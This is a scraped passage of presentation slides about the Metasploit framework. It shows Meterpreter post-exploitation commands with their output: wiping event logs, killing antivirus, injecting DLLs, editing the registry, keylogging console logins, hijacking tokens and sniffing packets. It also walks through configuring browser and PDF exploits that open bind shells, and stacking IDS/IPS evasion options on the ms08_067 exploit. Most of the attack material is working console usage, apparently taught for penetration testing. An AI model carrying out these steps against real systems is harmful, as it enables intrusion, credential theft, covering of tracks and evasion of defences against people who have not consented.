    >> client.net.config.each_interface { |iface|
    ?> puts iface.mac_name + ": " + iface.ip
    >> }
    Intel(R) PRO/Wireless 2915ABG Network Connection - Packet Scheduler
    Miniport: 0.0.0.0
    Broadcom NetXtreme Gigabit Ethernet - Packet Scheduler Miniport:
    10.4.4.1
    MS TCP Loopback interface: 127.0.0.1
    VMware Virtual Ethernet Adapter for VMnet1: 192.168.10.1
    VMware Virtual Ethernet Adapter for VMnet8: 192.168.126.1

    View Slide

  176. Network Interaction: sockets
    Meterpreters allows outbound TCP connections

    Access machines behind a firewall

    Launch exploits from the target

    Still somewhat buggy and slow
    Metasploit socket API can relay over Meterpreter

    Meterpreter implements the Comm interface

    Route specific subnets via msfconsole route cmd

    View Slide

  177. Relaying Sockets
    meterpreter > irb
    >> params = Rex::Socket::Parameters.new(
    'PeerHost' => „1.2.3.4‟,
    'PeerPort' => 80
    )

    >> conn = client.net.socket.create_tcp_client(params)

    >> conn.write("HEAD / HTTP/1.0\r\n\r\n")
    => 19
    >> conn.get_once
    => “HTTP/1.0 200 OK\r\n...”

    View Slide

  178. System Interaction: config
    Accessed as client.sys.config.method

    Provides information about the system and user

    Useful privilege commands: getuid and revert_to_self
    Method Description
    getuid Returns the user identifier of the server process
    sysinfo Returns a hash with computer name and OS information
    revert_to_self Calls RevertToSelf to restore privileges if necessary

    View Slide

  179. Obtaining System Information
    meterpreter > irb
    >> client.sys.config.getuid
    => “IWAM_VMWEBSERVER"
    >> client.sys.config.sysinfo['Computer']
    => "TARGETVM"
    >> client.sys.config.sysinfo['OS']
    => "Windows XP (Build 2600, Service Pack 2)."
    >> client.sys.config.revert_to_self
    >> client.sys.config.getuid
    => "IUSR_VMWEBSERVER"

    View Slide

  180. Manipulating the Event Log
    Accessed as client.sys.eventlog.open( name )

    Provides the ability to read event log entries

    Can also be used to wipe the logs :-)
    meterpreter > irb
    >> e = client.sys.eventlog.open( “Application“)
    >> e.length
    => 8974
    >> rec = e.read_forwards
    >> rec.strings
    => ["C:\\Virtual Machines\\Microsoft Vista\\Windows Vist...
    >> e.clear

    View Slide

  181. System Interaction: power
    Accessed as client.sys.power.method

    Provides the reboot and shutdown methods
    Method Description
    reboot(reason) Reboots the server
    shutdown(force, reason) Shutdown the server

    View Slide

  182. System Interaction: process
    Accessed as client.sys.process.method

    Enumerate and manipulate running processes

    Open a process and get a useable handle
    Method Description
    open(pid, perms) Opens the specified process pid
    execute(path, args, opts) Executes the specified executable
    kill(pid) Kills the specified process pid
    getpid Returns the server’s process identifier
    each_process Enumerates running processes
    processes Returns an array of running processes

    View Slide

  183. Enumerating Processes
    meterpreter > irb
    >> client.sys.process['lsass.exe']
    => 1180
    >> client.sys.process.each_process { |pinfo|
    ?> puts "#{pinfo['pid']}: #{pinfo['name']}"
    >> }
    1048: smss.exe
    1124: winlogon.exe
    1168: services.exe
    1180: lsass.exe
    1620: avg.exe
    >> client.sys.process.kill( 1620 )

    View Slide

  184. Interacting with a Process
    meterpreter > irb
    >> p = client.sys.process.open( 1680, PROCESS_ALL_ACCESS )
    [ call methods on p ]
    >> r = client.sys.process.execute(“cmd.exe /c net user add...”)

    View Slide

  185. Process Interaction: images
    Accessed as pobj.images.method

    Manipulate the loaded DLLs in a given process

    Inject a DLL into any target process
    Method Description
    load(path) Injects a DLL into the process
    get_procedure_address(base, name) Lookup function addresses
    unload(base) Unloads a DLL
    each_image Enumerates the loaded images
    get_images Returns an array of image info

    View Slide

  186. Interacting with a Process
    meterpreter > irb
    >> p = client.sys.process.open( 1680, PROCESS_ALL_ACCESS )
    >> k32 = p.image["kernel32.dll"]
    => 2088763392
    >> p.image.load("msxml3.dll")
    => 1956118528
    >> p.image.each_image { |img|
    ?> puts "#{img['name']}: %.8x" % img['base']
    >> }
    scrnsave.scr: 01000000
    ntdll.dll: 7c900000
    kernel32.dll: 7c800000
    USER32.dll: 77d40000

    View Slide

  187. Process Interaction: memory
    Accessed as pobj.memory.method

    Allocate, free, lock, enumerate memory allocations

    Read and write from a process's memory
    Method Description
    allocate(len, prot, base) Allocates memory of the specified size
    free(base, len) Deallocates memory at base
    read(base, len) Reads memory at the specified base address
    write(base, data) Writes memory to the specified base address
    query(base) Queries information about a base address
    protect(base, len, prot) Changes page protections on a region
    lock(base, length) Lock pages in memory to prevent swapping

    View Slide

  188. Interacting with Process Memory
    meterpreter > irb
    >> p = client.sys.process.open( 1680, PROCESS_ALL_ACCESS )
    >> base = p.memory.allocate(4096)
    => 12517376
    >> p.memory.write(base, "foo")
    => 3
    >> p.memory.read(base, 3)
    => "foo"
    >> p.memory.free(base)

    View Slide

  189. Process Interaction: threads
    Accessed as pobj.thread.method

    Enumerate all active process threads

    Create a new thread at a specific location
    each_thread Enumerates the running threads
    get_threads Returns an array of threads
    create(entry, param) Creates a new thread at the specified entry point

    View Slide

  190. System Interaction: registry
    Accessed as client.sys.registry.method

    Enumerate and manipulate the registry
    Method Description
    open_key(rk, bk, perm) Opens a registry key
    create_key(rk, bk, perm) Creates a registry key
    delete_key(rk, bk, recursive) Deletes a registry key
    close_key(hk) Closes an open key
    enum_key(hk) Returns an array of sub-keys
    set_value(hk, name, type, val) Sets a registry value
    query_value(hk, name) Queries a registry value
    delete_value(hk, name) Deletes a registry value

    View Slide

  191. Interacting with the Registry
    meterpreter > irb
    >> rk = client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "Software",
    KEY_ALL_ACCESS)

    >> rk.set_value("boo", REG_SZ, "bar")
    => true
    >> rk.query_value("boo").data
    => “bar”
    >> rk.enum_key[0..2].each { |k| puts k }
    781
    Adobe
    Analog Devices

    View Slide

  192. User Interface Interaction
    Accessed as client.ui.method

    Monitor and manipulate the desktop user
    Method Description
    enable_keyboard Enables the keyboard
    disable_keyboard Disables the keyboard
    enable_mouse Enables the mouse
    disable_mouse Disables the mouse
    idle_time Shows user idle time in seconds

    View Slide

  193. Keystroke Sniffing
    Accessed as client.ui.keyscan_*

    Capture keypresses from the active user

    Requires migrating to an interactive process
    Method Description
    keyscan_start Start the keystroke logger
    keyscan_stop Stop the keystroke logger
    keyscan_dump Dump the current keystroke buffer
    enumdesktops Enumerate all desktops
    setdesktop Change to another desktop

    View Slide

  194. Keystroke Sniffing
    meterpreter > ps
    [..]
    260 explorer.exe C:\WINDOWS\explorer.exe
    meterpreter > migrate 260
    meterpreter > keyscan_start
    [*] Starting the keystroke sniffer...
    meterpreter > keyscan_dump
    [*] Dumping captured keystrokes...
    http://www.didsomeoneownme.com
    meterpreter > keyscan_stop
    [*] Stopped the keystroke sniffer

    View Slide

  195. Console Login Sniffing
    meterpreter > ps
    [..]
    480 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe
    meterpreter > migrate 480
    meterpreter > keyscan_start
    [*] Starting the keystroke sniffer...
    meterpreter > keyscan_dump
    [*] Dumping captured keystrokes...
    Administrator admin123
    meterpreter > keyscan_stop
    [*] Stopped the keystroke sniffer

    View Slide

  196. Meterpreter Extension: incognito
    Loaded with: “use incognito”
    Scans for authentication tokens
    Hijack tokens to gain privileges

    Go from System to Local Admin

    Go from Local Admin to Network Admin

    Go from Network Service to Admin

    View Slide

  197. Brand New Extensions
    Sniffer

    Complete in-memory buffered packet sniffer

    Uses the MicroOLAP Packet Sniffer SDK ($$$)

    Works great, but still BETA quality
    Espia

    Capture remote audio, video, and screencasts

    Still under heavy development

    View Slide

  198. Meterpreter Extension: sniffer
    Loaded with: “use sniffer”
    Automatically excludes control channel traffic
    Stores up to 200,000 packets in a ring buffer
    Exports the capture in standard PCAP format

    Use psnuffle, dsniff, wireshark to process

    Easy way to capture passwords and data

    Still in BETA (can BSOD on sniffer_stop)

    View Slide

  199. Network Sniffing
    meterpreter > use sniffer
    meterpreter > sniffer_interfaces
    1 - 'VMware Accelerated AMD PCNet Adapter' ( type:0 mtu:1514
    usable:true dhcp:true wifi:false )
    meterpreter > sniffer_start 1
    [*] Capture started on interface 1 (50000 packet buffer)
    meterpreter > sniffer_stats 1
    [*] Capture statistics for interface 1
    bytes: 21311
    packets: 151
    meterpreter > sniffer_dump 1 /tmp/target.cap
    [*] Flushing packet capture buffer for interface 1...
    [*] Flushed 151 packets (24331 bytes)
    [*] Downloaded 100% (24331/24331)...
    [*] Download completed, converting to PCAP...
    [*] PCAP file written to /tmp/target.cap

    View Slide

  200. Meterpreter Extension: espia
    Loaded with: “use espia”
    Remote audio, video, and screen capture
    Still under active development

    capture_audio [params]

    capture_video [params]

    capture_screen [params]

    View Slide

  201. Meterpreter Development
    Meterpreter is being ported to POSIX

    Linux, FreeBSD, other Unix ( works July 26th 4:00am! )

    Merging this with Dino/Charlie's Mac OS X work
    Meterpreter reimplemented in PHP

    Similar functionality, still in development

    Break out of web apps into the system
    Meterpreter ported to the iPhone

    Charlie Miller is speaking on this at Black Hat

    View Slide

  202. Client-Side
    Exploitation

    View Slide

  203. Attacking Client Applications
    External penetration testing is getting tougher

    Externally-exposed systems often patched

    Limited number of applications and services

    Managed by professional administrators
    Switch to attacking the users, not the servers

    Patch levels differ between workstations

    Large number of reachable applications

    Barely managed by non-IT users

    View Slide

  204. Targeting Client Applications
    Research and enumeration is critical

    Create a list of target user accounts

    Determine what applications are in use

    Discover what filtering products are in place
    Tons of great tools for this

    Maltego: http://paterva.com/

    BotsVsBrowsers: http://botsvsbrowsers.com/

    Search engines (not just Google)

    View Slide

  205. Metasploit Client-side Exploits
    Over 90 client-side modules available

    Dozens of web browser flaws

    Many different file formats

    Specific media players
    Create a list of specific modules to use

    Review the modules for any requirements

    Match exploit targets to target app versions

    View Slide

  206. Exploiting Web Browsers
    Modules include their own web server

    Specify SRVHOST, SRVPORT as needed

    Specify URIPATH to set the URL

    Modules can share the same service

    Payloads can NOT share ports

    View Slide

  207. Configuring Browser Exploits
    msf > use exploit/windows/browser/ie_xml_corruption
    msf exploit(ie_xml_corruption) > set SRVPORT 8888
    msf exploit(ie_xml_corruption) > set URIPATH /xmlbug
    msf exploit(ie_xml_corruption) > set PAYLOAD windows/shell/bind_tcp
    msf exploit(ie_xml_corruption) > exploit
    [*] Started bind handler
    [*] Using URL: http://0.0.0.0:8888/xmlbug
    [*] Local IP: http://192.168.0.139:8888/xmlbug
    [*] Server started.
    [ target loads http://192.168.0.139:8888/xmlbug ]
    [*] Command shell session 1 opened (192.168.0.118:4444)
    msf exploit(ie_xml_corruption) > sessions -i 1
    C:\Documents and Settings\Developer\Desktop>

    View Slide

  208. Combining Browser Exploits
    Configure each browser exploit on a new URL

    Use a msfconsole resource file to automate

    Use global vars for common options

    Set unique LPORTs for reverse payloads
    Combine multiple exploits using IFRAMEs and JS

    Create a Mac OS X exploit page

    Create a “everything page”

    Place on own web server

    View Slide

  209. browser_autopwn
    The built-in automated browser exploiter

    Just underwent a massive rewrite

    Fingerprints browsers with CSS and JS

    Combines ~10 different exploit modules

    Reverse shell payloads increment ports
    Still somewhat limited

    No granular payload control

    Hard to apply per-exploit options

    View Slide

  210. Using browser_autopwn
    msf > use auxiliary/server/browser_autopwn
    msf auxiliary(browser_autopwn) > set LHOST 192.168.0.139
    msf auxiliary(browser_autopwn) > set SRVPORT 8888
    msf auxiliary(browser_autopwn) > set URIPATH /autopwn
    msf auxiliary(browser_autopwn) > run
    [ loading output from every exploit module ]
    [ target browses to http://192.168.0.139:8888/autopwn ]
    [*] Request '/autopwn' from 192.168.0.118:1064
    [*] Recording detection from User-Agent
    [*] Browser claims to be MSIE 7.0, running on Windows XP
    [*] Responding with exploits
    [*] Command shell session 1 opened (192.168.0.118:4444)

    View Slide

  211. Exploiting File Formats
    Modules generate a file containing the payload

    Specify the OUTPUTPATH and FILENAME

    Relies on the user to deliver the exploit file

    More flexibility than browser-only modules

    View Slide

  212. Using File Format Exploits
    msf > use exploit/windows/fileformat/adobe_utilprintf
    msf exploit(adobe_utilprintf) > set PAYLOAD windows/shell_bind_tcp
    msf exploit(adobe_utilprintf) > set LPORT 12345
    msf exploit(adobe_utilprintf) > set OUTPUTPATH /tmp
    msf exploit(adobe_utilprintf) > set FILENAME bindshell_12345.pdf
    msf exploit(adobe_utilprintf) > exploit
    [*] Creating 'bindshell_12345.pdf' file...
    [*] Generated output file /tmp/bindshell_12345.pdf
    [ send PDF to the target ]
    msf > use exploit/multi/handler
    msf exploit(handler) > set RHOST 192.168.0.118
    msf exploit(handler) > set PAYLOAD windows/shell_bind_tcp
    msf exploit(handler) > set LPORT 12345
    msf exploit(handler) > exploit

    View Slide

  213. Metasploit Evasions

    View Slide

  214. Security Product Deployment
    Corporations often have 2+ of the following

    Anti-virus (desktop and/or gateway)

    Network firewall and/or NAT gateway

    Desktop packet filters and/or app firewalls

    Web proxy and/or web filtering

    IDS, IPS, and/or HIPS
    These are annoying and easy to bypass...

    View Slide

  215. Evasion as a Design Goal
    Advanced and Evasion options in every module

    Implemented via protocol libraries and mixins

    Setting shared among similar modules
    Payload and padding is randomized

    Encoders are somewhat randomized

    Nop padding is extensively randomized
    Exploit modules use random string generation

    Rex::Text provides all of these methods

    View Slide

  216. Evasions: Exploit::Remote::TCP
    Maximum send size (TCP::max_send_size)

    Writes all TCP data N bytes at a time

    Disables Nagle algorithm

    Effective!
    Minimum send delay (TCP::send_delay)

    Forces a delay between each segment

    Slow streams time out from IDS/IPS

    Combine with send size

    View Slide

  217. Evasions: Exploit::Remote::SMB
    SMB Pipe Read/Write evasion

    Enable with SMB::pipe_evasion

    Writes: SMB::pipe_write_max_size

    Reads: SMB::pipe_read_max_size
    Other SMB evasion methods

    SMB::pad_data_level (0-3)

    SMB::pad_file_level (0-3)

    SMB::obscure_trans_pipe_level (0-3)

    View Slide

  218. Evasions: Exploit::Remote::DCERPC
    DCERPC fragmentation

    Set size via DCERPC::max_frag_size
    DCERPC multi-context bind

    Enabled by default (breaks Samba)

    DCERPC::fake_bind_multi_append

    DCERPC::fake_bind_multi_prepend
    DCERPC pipe i/o method

    Switch between rw and trans modes

    View Slide

  219. Stacking Evasion Methods
    msf > use exploit/windows/smb/ms08_067_netapi
    msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell_bind_tcp
    msf exploit(ms08_067_netapi) > set RHOST 192.168.0.118
    msf exploit(ms08_067_netapi) > set TCP::max_send_size 1
    msf exploit(ms08_067_netapi) > set SMB::pipe_evasion true
    msf exploit(ms08_067_netapi) > set SMB::pipe_max_write_size 1
    msf exploit(ms08_067_netapi) > set SMB::pipe_max_read_size 1
    msf exploit(ms08_067_netapi) > set SMB::pad_data_level 3
    msf exploit(ms08_067_netapi) > set SMB::pad_file_level 3
    msf exploit(ms08_067_netapi) > set SMB::obscure_trans_pipe_level 3
    msf exploit(ms08_067_netapi) > set DCERPC::max_frag_size 1
    msf exploit(ms08_067_netapi) > exploit

    View Slide

  220. Evasions: Web Browser Exploits
    Encryption

    The SSL option encrypts with randomized cert
    Compression

    HTTP::compression (none, gzip, deflate)
    Chunking

    Enable by setting HTTP::chunked to true
    Headers

    HTTP::header_folding HTTP::junk_headers

    View Slide